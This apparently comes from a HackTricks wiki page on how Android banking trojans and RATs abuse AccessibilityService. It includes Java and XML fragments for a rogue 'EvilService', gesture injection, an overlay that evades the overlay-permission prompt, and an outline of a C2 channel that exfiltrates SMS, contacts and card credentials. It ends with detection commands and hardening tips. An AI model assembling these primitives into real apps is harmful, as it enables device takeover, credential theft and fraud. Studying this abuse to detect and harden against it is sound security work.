Android Accessibility Service Abuse
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Overview
AccessibilityService
was created to help users with disabilities interact with Android devices. Unfortunately, the same powerful automation APIs (global navigation, text input, gesture dispatch, overlay windows…) can be weaponised by malware to gain complete remote control of the handset without root privileges.
Modern Android banking Trojans and Remote-Access-Trojans (RATs) such as PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda and many others follow the same recipe:
- Social-engineer the victim into enabling a rogue accessibility service (the BIND_ACCESSIBILITY_SERVICE permission is considered "high-risk" and requires an explicit user action).
- Leverage the service to
- capture every UI event & text that appears on screen,
- inject synthetic gestures (
dispatchGesture
) and global actions (performGlobalAction
) to automate any task the operator desires, - draw full-screen overlays on top of legitimate apps using the TYPE_ACCESSIBILITY_OVERLAY window type (no
SYSTEM_ALERT_WINDOW
prompt!), - silently grant additional runtime permissions by clicking on the system dialogs on the victim’s behalf.
- Exfiltrate data or perform On-Device-Fraud (ODF) in real-time while the user is looking at a perfectly normal screen.
Requesting the permission
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>
The companion XML defines how the fake dialog will look like:
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>
Remote UI automation primitives
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
With only these two APIs an attacker can:
- Unlock the screen, open the banking app, navigate its UI tree and submit a transfer form.
- Accept every permission dialog that pops up.
- Install/update extra APKs via the Play Store intent.
Abuse patterns
1. Overlay Phishing (Credential Harvesting)
A transparent or opaque WebView
is added to the window manager:
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
The victim types credentials into the fake form while the background app receives the same gestures – no suspicious "draw over other apps" prompt is ever shown.
Detailed example: the Accessibility Overlay Phishing section inside the Tapjacking page.
2. On-Device Fraud automation
Malware families such as PlayPraetor maintain a persistent WebSocket channel where the operator can issue high-level commands (init
, update
, alert_arr
, report_list
, …). The service translates those commands into the low-level gestures above, achieving real-time unauthorized transactions that easily bypass multi-factor-authentication tied to that very device.
3. Screen streaming & monitoring
By combining the MediaProjection API with an RTMP client library, the RAT can broadcast the live framebuffer to rtmp://<c2>:1935/live/<device_id>
, giving the adversary perfect situational awareness while the Accessibility engine drives the UI.
PlayPraetor – command & control workflow
- HTTP(S) heartbeat – iterate over a hard-coded list until one domain answers
POST /app/searchPackageName
with the active C2. - WebSocket (port 8282) – bidirectional JSON commands:
update
– push new conf/APKsalert_arr
– configure overlay templatesreport_list
– send list of targeted package namesheartbeat_web
– keep-alive
- RTMP (port 1935) – live screen/video streaming.
- REST exfiltration –
/app/saveDevice
(fingerprint)/app/saveContacts
|/app/saveSms
|/app/uploadImageBase64
/app/saveCardPwd
(bank creds)
The AccessibilityService is the local engine that turns those cloud commands into physical interactions.
Detecting malicious accessibility services
adb shell settings get secure enabled_accessibility_services
- Settings → Accessibility → Downloaded services – look for apps that are not from Google Play.
- MDM / EMM solutions can enforce
ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY
(Android 13+) to block sideloaded services. - Analyse running services:
adb shell dumpsys accessibility | grep "Accessibility Service"
Hardening recommendations for app developers
- Mark sensitive views with
android:accessibilityDataSensitive="accessibilityDataPrivateYes"
(API 34+). - Combine
setFilterTouchesWhenObscured(true)
withFLAG_SECURE
to prevent tap/overlay hijacking. - Detect overlays by polling
WindowManager.getDefaultDisplay().getFlags()
or theViewRootImpl
API. - Refuse to operate when
Settings.canDrawOverlays()
or a non-trusted Accessibility service is active.
References
- PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT
- Android accessibility documentation – Automating UI interaction
tip
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.